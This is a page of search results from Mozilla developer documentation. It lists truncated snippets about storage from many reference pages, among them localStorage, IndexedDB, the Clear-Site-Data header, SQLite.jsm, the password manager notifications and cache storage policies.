tobjectorlong& aarg); void passsequenceofunions(const sequence<owningobjectorlong>& aarg); void passotherunion(const htmldivelementorarraybufferoreventinit& aarg); union structs expose accessors to test whether they're of a given type and to get hold of the data of that type. they also expose setters that set the union as being of a particular type and return a reference to the union's internal storage where that type could be stored. the one exception is the object type, which uses a somewhat different form of setter where the jsobject* is passed in directly. for example, objectorlong would have the following methods: bool isobject() const; jsobject* getasobject() const; void settoobject(jscontext*, jsobject*); bool islong() const; int32_t getaslong() const; int32_t& setaslong() owning unio...
... are turned into a set of properties and functions on the interface they are declared on. each has a different set of helper functions it comes with. in addition, for iterable, there are requirements for c++ function implementation by the interface developer. maplike example interface: interface stringtolongmap { maplike<domstring, long>; }; the bindings for this interface will generate the storage structure for the map, as well as helper functions for accessing that structure from c++. the generated c++ api will look as follows: namespace stringtolongmapbinding { namespace maplikehelpers { void clear(mozilla::dom::stringtolongmap* self, errorresult& arv); bool delete(mozilla::dom::stringtolongmap* self, const nsastring& akey, errorresult& arv); bool has(mozilla::dom::stringtolongmap* self...
...the generated c++ api will look as follows: namespace stringsetbinding { namespace setlikehelpers { void clear(mozilla::dom::stringset* self, errorresult& arv); bool delete(mozilla::dom::stringset* self, const nsastring& akey, errorresult& arv); bool has(mozilla::dom::stringset* self, const nsastring& akey,...
...And 5 more matches
Localization Use Cases
2[brandshortname::_gender] { masculine: "{{ brandshortname }} uległ awarii", feminine: "{{ brandshortname }} uległa awarii", neutral: "{{ brandshortname }} uległo awarii" }> this will give us, depending on the current branding, the following messages: firefox os uległ awarii boot2gecko uległo awarii isolation let's look at how the settings app formats sizes. ...
...'; return; } // kb - 3 kb (nearest ones), mb, gb - 1.2 mb (nearest tenth) var fixeddigits = (size < 1024 * 1024) ? ...
...earest ones), mb, gb - 1.2 mb (nearest tenth) var fixeddigits = (size < 1024 * 1024) ? ...
...And 4 more matches
JavaScript basics - Learn web development
it isn't (meaning it must already have changed), the src value swaps back to the original image path, to the original state. adding a personalized welcome message next, let's change the page title to a personalized welcome message when the user first visits the site. this welcome message will persist. should the user leave the site and return later, we will save the message using the web storage api. we will also include an option to change the user, and therefore, the welcome message. in index.html, add the following line just before the <script> element: <button>change user</button> in main.js, place the following code at the bottom of the file, exactly as it is written. this takes references to the new button and the heading, storing each inside variables: let mybutton = do...
... it is written. this takes references to the new button and the heading, storing each inside variables: let mybutton = document.queryselector('button'); let myheading = document.queryselector('h1'); add the function below to set the personalized greeting. this won't do anything yet, but this will change soon. function setusername() { let myname = prompt('please enter your name.'); localstorage.setitem('name', myname); myheading.textcontent = 'mozilla is cool, ' + myname; } the setusername() function contains a prompt() function, which displays a dialog box, similar to alert(). this prompt() function does more than alert(), asking the user to enter data, and storing it in a variable after the user clicks ok. in this case, we are asking the user to enter a name. next, the code calls ...
..., myname); myheading.textcontent = 'mozilla is cool, ' + myname; } the setusername() function contains a prompt() function, which displays a dialog box, similar to alert(). this prompt() function does more than alert(), asking the user to enter data, and storing it in a variable after the user clicks ok. in this case, we are asking the user to enter a name. next, the code calls on an api localstorage, which allows us to store data in the browser and retrieve it later. we use localstorage's setitem() function to create and store a data item called 'name', setting its value to the myname variable which contains the user's entry for the name. finally, we set the textcontent of the heading to a string, plus the user's newly stored name. add the if ... else block (below). we could call this initi...
...And 3 more matches
History Service Design
this system provides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers. view the service interface definition: nsinavhistoryservice.idl. ...
... places, every other places service depends on it to correctly work, so it gets always initialized at application startup. actual tasks executed by this service include: database creation, maintenance and initialization: all services rely on a common shared database called places.sqlite. history service checks for database existance and coherence, and initializes the connection through the storage service. history management: provides basic and advanced apis to store and modify visits and page details. relevance calculation: maintain and expire frecency values for pages. history expiration: expire old visits and invalid informations from the database. queries creation: allows the creation for complex queries. queries results maintenance: allows easy access to ...
... frecency values for pages. history expiration: expire old visits and invalid informations from the database. queries creation: allows the creation for complex queries. queries results maintenance: allows easy access to queries results. charset for pages: allows setting and reading charset for each page. database maintenance at startup the service creates an exclusive storage connection to places.sqlite, the exclusive locking is needed for both a perf gain and data-safety. in case the database is missing a new one is created, if instead the database exists but the connection to it fails due to database corruption, the corrupt database is moved away and a new one is created. in both cases an implementer can know what did happen at startup and act accordingly (maybe res...
...And 3 more matches
nsIMsgFolder
(); void updatefolder(in nsimsgwindow awindow); nsimsgfilterlist getfilterlist(in nsimsgwindow msgwindow); void setfilterlist(in nsimsgfilterlist filterlist); void forcedbclosed(); void delete(); void deletesubfolders(in nsisupportsarray folders, in nsimsgwindow msgwindow); void propagatedelete(in nsimsgfolder folder, in boolean deletestorage,in nsimsgwindow msgwindow); void recursivedelete(in boolean deletestorage, in nsimsgwindow msgwindow); void createsubfolder(in astring foldername, in nsimsgwindow msgwindow); nsimsgfolder addsubfolder(in astring foldername); void createstorageifmissing(in nsiurllistener urllistener); void compact(in nsiurllistener alistener, in nsimsgwindow amsgwindow)...
...tfolderswithflag(in unsigned long flags, in unsigned long resultsize, out unsigned long numfolders); nsisupportsarray getallfolderswithflag(in unsigned long aflag); void getexpansionarray(in nsisupportsarray expansionarray); acstring geturiformsg(in nsimsgdbhdr msghdr); void deletemessages(in nsisupportsarray messages,in nsimsgwindow msgwindow, in boolean deletestorage, in boolean ismove, in nsimsgcopyservicelistener listener, in boolean allowundo); void copymessages(in nsimsgfolder srcfolder, in nsisupportsarray messages,in boolean ismove, in nsimsgwindow msgwindow,in nsimsgcopyservicelistener listener, in boolean isfolder, in boolean allowundo); void copyfolder(in nsimsgfolder srcfolder, in boolean ismovefolder,in nsimsgwindow msgwindow, in ...
...t(nsimsgwindow msgwindow); setfilterlist() void setfilterlist(in nsimsgfilterlist filterlist); forcedbclosed() void forcedbclosed(); delete() void delete(); deletesubfolders() void deletesubfolders(in nsisupportsarray folders, in nsimsgwindow msgwindow); propagatedelete() void propagatedelete(in nsimsgfolder folder, in boolean deletestorage, in nsimsgwindow msgwindow); recursivedelete() void recursivedelete(in boolean deletestorage, in nsimsgwindow msgwindow); createsubfolder() void createsubfolder(in astring foldername, in nsimsgwindow msgwindow); addsubfolder() nsimsgfolder addsubfolder(in astring foldername); createstorageifmissing() this method ensu...
...And 3 more matches
XPCOM Interface Reference by grouping
appers and core object definitions. security this section contains apis for secure channel communications system this section contains application level interfaces including calls to external support elements (such as device calls). this is the root element and may contain some functions defined in other groups. user this section contains elements specific to a given user's data storage. browser autocomplete nsiautocompletecontroller nsiautocompleteinput nsiautocompletesearch console nsiconsolelistener nsiconsolemessage nsiconsoleservice document nsidocshell dom device nsidomgeogeolocation nsidomgeoposition nsidomgeopositionaddress nsidomgeopositioncallback nsidomgeopositioncoords nsidomgeopos...
...domgeopositionerror nsidomgeopositionerrorcallback nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidomchromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformelement nsidomhtmlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler...
... nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacallback nsifaviconservice frame nsichromeframemessagemanager nsiframeloader nsiframeloaderowner nsiframemessagelistener nsiframemessagemanager interface nsijsxmlhttprequest jetpack nsijetpack nsijetpackservice offlinestorage nsiapplicationcache nsiapplicationcachechannel nsiapplicationcachecontainer nsiapplicationcachenamespace nsiapplicationcacheservice places nsiannotationobserver rss feed nsifeed nsifeedcontainer nsifeedelementbase nsifeedentry nsifeedgenerator nsifeedperson nsifeedprocessor nsifeedprogresslistener nsifeedresult nsi...
...And 3 more matches
FileHandle API - Web APIs
der to avoid race issues. api overview this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmutablefile (was previously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces. ...
...dbdatabase.mozcreatefilehandle.) idbmutablefile (was previously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces. basic operations create a filehandle because the intent is to allow the storage of files through indexeddb, creating a filehandle instance requires an indexeddb database. var idbreq = indexeddb.open("myfilestoragedatabase"); idbreq.onsuccess = function(){ var db = this.result; var buildhandle = db.mozcreatefilehandle("test.txt", "plain/text"); buildhandle.onsuccess = function(){ var myfilehandle = this.result; console.log('handle', myfilehandle); }; }; mozcreatefilehandle() takes two arguments: a name and an optional type. both of these are just descriptive and are not used by the data...
...that said, as the name does not match any real filename it can be an empty string, for example, and it doesn't even have to be unique. note: the above code only creates a "temporary file" that exists only while you hold the filehandle instance. if you want a file to survive a page refresh/app relaunch, you need to store the handle in a more permanent location, like the database itself. see file storage below to learn more about this. perform read and write operations to read or write within a handled file, it is required to get a lockedfile. the filehandle.open() method provides such an object which can be readonly or readwrite. any attempt to perform a write action on a readonly lockedfile object will fail. writing there are three possible writing operations on a locked file: write : i...
...And 3 more matches
Window - Web APIs
Web › API › Window
read only indicates whether a context is capable of using features that require secure contexts. window.length read only returns the number of frames in the window. see also window.frames. window.location gets/sets the location, or current url, of the window object. window.locationbar read only returns the locationbar object, whose visibility can be toggled in the window. window.localstorage read only returns a reference to the local storage object used to store data that may only be accessed by the origin that created it. window.menubar read only returns the menubar object, whose visibility can be toggled in the window. window.messagemanager returns the message manager object for this window. window.mozinnerscreenx read only returns the horizontal (x) coordinate of the...
...olled to vertically (i.e., the document height minus the viewport height). window.scrollx read only returns the number of pixels that the document has already been scrolled horizontally. window.scrolly read only returns the number of pixels that the document has already been scrolled vertically. window.self read only returns an object reference to the window object itself. window.sessionstorage returns a reference to the session storage object used to store data that may only be accessed by the origin that created it. window.sidebar read only returns a reference to the window object of the sidebar. window.speechsynthesis read only returns a speechsynthesis object, which is the entry point into using web speech api speech synthesis functionality. window.status gets/sets the te...
... read only returns a visualviewport object which represents the visual viewport for a given window. window.window read only returns a reference to the current window. window[0], window[1], etc. returns a reference to the window object in the frames. see window.frames for more details. properties implemented from elsewhere windoworworkerglobalscope.caches read only returns the cachestorage object associated with the current context. this object enables functionality such as storing assets for offline use, and generating custom responses to requests. windoworworkerglobalscope.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an idbfactory object. windoworworkerglobalscope.issecurecontext read only retu...
...And 3 more matches
Web APIs
Web › API
a angle_instanced_arrays abortcontroller abortsignal abso...
... a angle_instanced_arrays abortcontroller abortsignal absoluteori...
... ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available. a angle_instanced_arrays abortcontroller abortsignal absoluteorientationsensor abstractrange abstractworker accelerometer addresserrors aescbcparams aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode anima...
...And 3 more matches
Clear-Site-Data - HTTP
it allows web developers to have more control over the data stored locally by a browser for their origins. header type response header forbidden header name no syntax the clear-site-data header accepts one or more directives. if all types of data should be cleared, the wildcard directive ("*") can be used. // single directive clear-site-data: "cache" // multiple directives (comma separated) clear-site-data: "cache", "cookies" // wild card clear-site-data: "*" directives all directives must comply with the quoted-string grammar. ...
...ike pre-rendered pages, script caches, webgl shader caches, or address bar suggestions. "cookies" indicates that the server wishes to remove all cookies for the origin of the response url. http authentication credentials are also cleared out. this affects the entire registered domain, including subdomains. so https://example.com as well as https://stage.example.com, will have cookies cleared. ...
...r address bar suggestions. "cookies" indicates that the server wishes to remove all cookies for the origin of the response url. http authentication credentials are also cleared out. this affects the entire registered domain, including subdomains. so https://example.com as well as https://stage.example.com, will have cookies cleared. "storage" indicates that the server wishes to remove all dom storage for the origin of the response url. ...
...And 3 more matches
private-browsing - Archive of obsolete content
ument hosted in a private window any window, tab, or worker if the browser has been configured to never remember history (options->privacy->history) add-ons can use this api to decide whether or not to store user data. ...
...window any window, tab, or worker if the browser has been configured to never remember history (options->privacy->history) add-ons can use this api to decide whether or not to store user data. ...
..., or worker if the browser has been configured to never remember history (options->privacy->history) add-ons can use this api to decide whether or not to store user data. ...
...And 2 more matches
Index of archived content - Archive of obsolete content
clipboard context-menu hotkeys indexed-db l10n notifications page-mod page-worker panel passwords private-browsing querystring request selection self simple-prefs simple-storage system tabs timers ui url widget windows low-level apis /loader chrome console/plain-text console/traceback content/content content/loader ...
... gettabforwindow loaduri quit selecttab tabs helperapps.jsm home.jsm banner panels homeprovider.jsm homestorage nativewindow contextmenus doorhanger menu toast notifications.jsm pageactions.jsm prompt.jsm runtimepermissions.jsm snackbars.jsm sound.jsm ...
...ndix e: dom building and insertion (html & xul) appendix f: monitoring dom changes connecting to remote content custom xul elements with xbl getting started with firefox extensions handling preferences intercepting page loads introduction javascript object management local storage mozilla documentation roadmap observer notifications setting up a development environment the box model the essentials of an extension useful mozilla community sites user notifications and alerts xpcom objects performance best ...
...And 2 more matches
SQLite Templates - Archive of obsolete content
this will cause the datasource to be treated as an sqlite database. the datasources attribute may be set to one of two possible types of values. first, it may a file url pointing to a file on disk. in this case, you will often be setting the datasources attribute dynamically after determining the file path. ...
...this will cause the datasource to be treated as an sqlite database. the datasources attribute may be set to one of two possible types of values. first, it may a file url pointing to a file on disk. in this case, you will often be setting the datasources attribute dynamically after determining the file path. ...
...isn't currently used for sqlite sources, so you should just set the ref attribute to a dummy value; '*' is typically used. the query for an sqlite datasource is just an sql select statement, as text inside the query element. this simple example shows how to display a listbox containing the values in one column in a database table. <listbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name from myfriends </query> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the query returns the list of values from the 'name' column in the table 'myfriends'. the action body, starting at the node with uri="?" is repeated for each result returned from the query. if the query returns six results, six listi...
...And 2 more matches
Exact Stack Rooting
ics of interacting with the gc from spidermonkey. since the gc may move gcthings, it very important that spidermonkey know about each and every gcpointer in the system. the method you should use to keep the gc up-to-date with this information will vary depending on where the gcpointer is being stored. gcpointers can be stored as a property of a gcthing, on the cheap, or in the cstack. these three storage regions have different lifetime and overhead characteristics and thus require different management strategies for efficient space and cpu utilization. since c++ does not reliably distinguish between storage classes, we have to put this burden on the user. storing a gcpointer in a gcthing storing your gcpointer inside of a gcthing that is already in the liveset is the easiest way to keep a gcthi...
...do not use js_setprivate. if you see a gcpointer stored as a private, please file a bug. ...
...do not use js_setprivate. if you see a gcpointer stored as a private, please file a bug. the private field is frequently used to store things that are not gcpointers, so the gc cannot automatically handle this slot. ...
...And 2 more matches
XPCOM Interface Reference
amiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentativecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestateme...
...tionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozivisitinfomozivisitinfocallbackmozivisitstatuscallbacknsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityservicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleeditabletextnsiaccessibleeventnsiaccessiblehyperlinknsiaccessiblehypert...
...tprefcallback2nsicontentprefobservernsicontentprefservicensicontentprefservice2nsicontentsecuritypolicynsicontentsniffernsicontentviewnsicontentviewmanagernsicontentviewernsicontrollernsicontrollersnsiconverterinputstreamnsiconverteroutputstreamnsicookiensicookie2nsicookieacceptdialognsicookieconsentnsicookiemanagernsicookiemanager2nsicookiepermissionnsicookiepromptservicensicookieservicensicookiestoragensicrashreporternsicryptohmacnsicryptohashnsicurrentcharsetlistenernsicyclecollectorlistenernsidbchangelistenernsidbfolderinfonsidnslistenernsidnsrecordnsidnsrequestnsidnsservicensidomcanvasrenderingcontext2dnsidomchromewindownsidomclientrectnsidomdesktopnotificationnsidomdesktopnotificationcenternsidomelementnsidomeventnsidomeventgroupnsidomeventlistenernsidomeventtargetnsidomfilensidomfileerrorn...
...And 2 more matches
Migrating from Firebug - Firefox Developer Tools
tools filters the requests by the entered string. firebug allowed to search within the response body of the network requests by checking response bodies within its search field options. this feature is not available yet within the network monitor, but it's requested in bug 1334408. while response bodies can't be searched yet, the network monitor allows to filter by different request properties. ...
...hin the network monitor, but it's requested in bug 1334408. while response bodies can't be searched yet, the network monitor allows to filter by different request properties. storage inspector the cookies panel in firebug displays information related to the cookies created by a page and allows to manipulate the information they store. within the devtools this functionality is located within the storage inspector. in contrast to firebug the storage inspector not only allows to inspect cookies but also other kinds of storages like the local and session storage, the cache and indexeddb databases. ...
...both show pretty much the same information per cookie, i.e. the name, value, domain, path, expiration date and whether the cookie is http-only. the devtools don't show by default whether a cookie is secure, but this can be enabled by right-clicking the table header and checking secure from the context menu. ...
...And 2 more matches
Basic concepts - Web APIs
n more about indexeddb terms, see the definitions section. for a detailed tutorial on how to use the api, see using indexeddb. for the reference documentation on the indexeddb api, refer back to the main indexeddb api article and its subpages, which document the types of objects used by indexeddb. for more information on how the browser handles storing your data in the background, read browser storage limits and eviction criteria. overview of indexeddb indexeddb lets you store and retrieve objects that are indexed with a "key." all changes that you make to the database happen within transactions. like most web storage solutions, indexeddb follows a same-origin policy. so while you can access stored data within a domain, you cannot access data across different domains. indexeddb is an async...
...indexeddb is an asynchronous api that can be used in most contexts, including web workers. it used to include a synchronous version also, for use in web workers, but this was removed from the spec due to lack of interest by the web community. indexeddb used to have a competing spec, websql database, but the w3c deprecated it on november 18, 2010. while both indexeddb and websql are solutions for storage, they do not offer the same functionalities. websql database is a relational database access system, whereas indexeddb is an indexed table system. big concepts if you have assumptions from working with other types of databases, you might get thrown off when working with indexeddb. so keep the following important concepts in mind: indexeddb databases store key-value pairs. the values can b...
...riting transaction with a scope that just covers the flyingmonkey object store, you can start a second transaction with a scope of the unicorncentaur and unicornpegasus object stores. as for reading transactions, you can have several of them — even overlapping ones. transactions are expected to be short-lived, so the browser can terminate a transaction that takes too long, in order to free up storage resources that the long-running transaction has locked. you can abort the transaction, which rolls back the changes made to the database in the transaction. and you don't even have to wait for the transaction to start or be active to abort it. the three modes of transactions are: readwrite, readonly, and versionchange. the only way to create and delete object stores and indexes is by using a ve...
...And 2 more matches
<details>: The Details disclosure element - HTML: Hypertext Markup Language
Web › HTML › Element › details
ddeventlistener("toggle", event => { if (details.open) { /* the element was toggled open */ } else { /* the element was toggled closed */ } }); examples a simple disclosure example this example shows a <details> element with no provided summary. <details> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> in this situation, the browser will use a default summary string (usually "details"). here's what your browser does with it: providing a summary this example adds a summary to the above example by using the <summary> element inside <details>, like this: <details> <summary>system requirements</summary...
...use a default summary string (usually "details"). here's what your browser does with it: providing a summary this example adds a summary to the above example by using the <summary> element inside <details>, like this: <details> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> the result from this html is this: creating an open disclosure box to start the <details> box in its open state, add the boolean open attribute: <details open> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally...
...ell as some form of output device is recommended.</p> </details> the result from this html is this: creating an open disclosure box to start the <details> box in its open state, add the boolean open attribute: <details open> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> this results in: customizing the appearance now let's apply some css to customize the appearance of the disclosure box. css details { font: 16px "open sans", calibri, sans-serif; width: 620px; } details > summary { padding: 2px 6px; width: 15em; background-color: #ddd; border: none; box...
...And 2 more matches
Web audio codec guide - Web media technologies
human ear. because of the differences in how lossy codecs work compared to lossless ones, especially the fact that lossless ones have to be much more conservative with their compression, lossy codecs nearly always result in significantly smaller compressed audio than lossless codecs do. generally speaking, the most common reasons to choose lossless audio are because you require archival-quality storage, or because the audio samples will be remixed and recompressed, and you wish to avoid the amplification of artifacts in the audio due to recompression. for real-time streaming of audio, a lossy codec is usually required in order to ensure the flow of data can keep up with the audio playback rate regardless of network performance. maximum number of channels the audio delivered to each speaker in...
...support for alac is not very strong, making it a less than ideal choice for general usage. however, if your target is primarily macos and ios users, it may be worth considering, as the operating systems have integrated support for alac. otherwise, flac is likely a better choice, if you must use a lossless codec. keep in mind, however, that lossless codecs require substantially more bandwidth and storage capacity, and may not be a good choice outside very specific use cases. supported bit rates based on the sample format and sample rate, as well as the compression level variable bit rate (vbr) support no supported sample formats 16-bit, 20-bit, 24-bit, and 32-bit integer supported sample rates 1 hz to 384,000 hz recommended minimum bit rat...
... any other content, including audio containing only singing voices. additionally, because amr is designed to minimize capacity requirements, it only captures the portion of the full audio frequency bandwidth of human speech which is absolutely necessary to understand what's being said, so quality is reduced accordingly. if you need the ability to record audio at a minimal impact to network and/or storage capacity, amr can be a great choice. however, if you need high-fidelity reproduction of human speech—or even low-quality music reproduction—you need to choose another format. supported bit rates half rate (hr) and full rate (fr): 1.8 kbps, 4.75 kbps, 5.15 kbpz, 5.9 kbps, 6.7 kbps, 7.4 kbps, 7.95 kbps full rate (fr) only: 10.2 kbps and 12.2 kbps variable bit rate...
...And 2 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
51 crlf cr, crlf, glossary, infrastructure, lf, carriage return, line feed cr and lf are control characters or bytecode that can be used to mark a line break in a text file. 52 crud glossary, infrastructure crud (create, read, update, delete) is an acronym for ways one can operate on stored data. it is a mnemonic for the four basic functions of persistent storage. crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status. 53 csp glossary, http, infrastructure a csp (content security policy) is used to detect and mitigate certain types of website related attacks li...
...ority html (hypertext markup language) is a descriptive language that specifies webpage structure. 195 html5 codingscripting, glossary, html, html5, markup the latest stable release of html, html5 takes html from a simple markup for structuring a document to a full app development platform. among other features, html5 includes new elements and javascript apis to enhance storage, multimedia, and hardware access. 196 http beginner, glossary, http, infrastructure, web performance, l10n:priority the hypertext transfer protocol (http) is the underlying network protocol that enables transfer of hypermedia documents on the web, typically between a browser and a server so that humans can read them. the current version of the http specification is called htt...
...in an array buffer or file format). 412 server glossary, infrastructure, networking, protocol, server a server is a software or hardware offering a service to a user, usually referred to as client. a hardware server is a shared computer on a network, usually powerful and housed in a data center. a software server (often running on a hardware server) is a program that ...
...n markup, used to communicate information back to the web server or to 3rd party servers. beacons are generally included to provide information about the user for statistical purposes. beacons are often included within third party scripts for collecting user data, performance metrics and error reporting. 516 buffer buffer, codingscripting, glossary, needscontent a buffer is a storage in physical memory used to temporarily store data while it is being transferred from one place to another. 517 caret cursor, glossary, input, caret, insertion point, text cursor, text entry, text input, text insertion point a caret (sometimes called a "text cursor") is an indicator displayed on the screen to indicate where text input will be inserted. 518 document ...
Errors
this page lists the errors that can be raised due to firefox's anti-tracking functionality, governed by the storage access policy. ...
... this page lists the errors that can be raised due to firefox's anti-tracking functionality, governed by the storage access policy. ...
... lists the errors that can be raised due to firefox's anti-tracking functionality, governed by the storage access policy. ...
...ionality, governed by the storage access policy. ...
Sqlite.jsm
all the functionality in sqlite.jsm is asynchronous. easier memory management. ...
...all the functionality in sqlite.jsm is asynchronous. easier memory management. ...
...all the functionality in sqlite.jsm is asynchronous. easier memory management. since sqlite.jsm manages statements for you, it can perform intelligent actions like purging all cached statements not in use, freeing memory in the process. ...
... errors property. if defined, it will be an array of objects describing individual errors. each object has the properties result and message. result is a numeric error code and message is a string description of the problem. if onrow is specified, the returned promise will be resolved with a boolean indicating whether the onrow handler was called. else, the resolved value will be an array of mozistoragerow. executetransaction(func, type) this function is used to execute a database transaction. a transaction is a series of related statements treated as one functional unit. if the transaction succeeds, all the statements contained within it are committed as one unit. if the transaction fails, the database is rolled back to its state before the transaction started. this function receives the fol...
Observer Notifications
hen actions related to the login manager occur. topic data description passwordmgr-found-form noautofillforms a login is available for this form, but autofill of forms is disabled, so the form was not automatically filled out. passwordmgr-found-form autocompleteoff a login is available for this form, but autocomplete is disabled. ...
... autofill of forms is disabled, so the form was not automatically filled out. passwordmgr-found-form autocompleteoff a login is available for this form, but autocomplete is disabled. passwordmgr-storage-changed addlogin a login has been added to the login manager's database. the notification's subject is the login that was added to the database. passwordmgr-storage-changed removelogin a login was removed from the login manager's database. the notification's subject is the login that was removed from the database. passwordmgr-storage-changed modifylogin a login in the login manager's database was modified. the notification's subject is an array whose first entry is the old login and whose second entry is the new one. passwordmgr...
...changed removelogin a login was removed from the login manager's database. the notification's subject is the login that was removed from the database. passwordmgr-storage-changed modifylogin a login in the login manager's database was modified. the notification's subject is an array whose first entry is the old login and whose second entry is the new one. passwordmgr-storage-changed removealllogins all logins have been removed from the login manager's database. passwordmgr-storage-changed hostsavingenabled host saving has been enabled. passwordmgr-storage-changed hostsavingdisabled host saving has been disabled. places this topic indicates when actions related to places (the history and bookmarks database) occur. ...
...has been successfully initialized. you should wait until this notification occurs before querying the places database. places-maintenance-finished sent when maintenance of the places database is complete; this is done periodically in the background to keep the places database tidy. places-shutdown sent when places shuts down. if you are referencing instances of mozistoragestatement referencing places databases when this notification occurs, you should call their mozistoragestatement.finalize() method places-sync-finished sent when the places database has been successfully flushed to disk. places-will-close-connection sent when the places service is about to close its database connection. only necessary cleanup tasks should run a...
nsICache
one, if any. access granted - you must write to this descriptor because the cache entry was just created for you. access_read_write 3 access requested - i want to read, but i'm willing to update an existing entry if necessary, or create a new one if none exists. access granted - you can read the descriptor to determine if it's valid, you may write if it needs updating. store_anywhere 0 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. allows the cache entry to be stored in any device. the cache service decides which cache device to use based on "some resource management calculation." store_in_memory 1 the storage policy of a cache entry determines the device(s) to which it belongs. see nsic...
...criptor for more details. allows the cache entry to be stored in any device. the cache service decides which cache device to use based on "some resource management calculation." store_in_memory 1 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. requires the cache entry to reside in non-persistent storage. that is typically in system ram. store_on_disk 2 the storage policy of a cache entry determines the device(s) to which it belongs. ...
...) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. requires the cache entry to reside in non-persistent storage. that is typically in system ram. store_on_disk 2 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. requires the cache entry to reside in persistent storage. that is typically on a system's hard disk. store_on_disk_as_file 3 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. ...
...belongs. see nsicachesession and nsicacheentrydescriptor for more details. requires the cache entry to reside in persistent storage. that is typically on a system's hard disk. store_on_disk_as_file 3 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. requires the cache entry to reside in persistent storage, and in a separate file. store_offline 4 the storage policy of a cache entry determines the device(s) to which it belongs. see nsicachesession and nsicacheentrydescriptor for more details. requires the cache entry to reside in persistent, reliable storage for offline use. not_stream_based 0 all entries for a cache session are stored as streams of data or as objects. this constant specify th...
nsICacheSession
netwerk/cache/public/nsicachesession.idlscriptable handles open synchronous and asynchronous cache entry operations along with evicting cache entries and checking for cache devices instantiation according to the session storage policies. ...
... cache entries and checking for cache devices instantiation according to the session storage policies. inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type description doomentriesifexpired prbool expired entries will be doomed or evicted if this attribute is set to true. if false, expired entries will be returned (useful ...
...o not wait for the cache entry when it is in use and waits for validation. doomentry() asynchronously dooms an entry specified by the key. void doomentry( in acstring key, in nsicachelistener listener ); parameters key the key for cache entry. listener the cache listener to be notified (may be null). ...
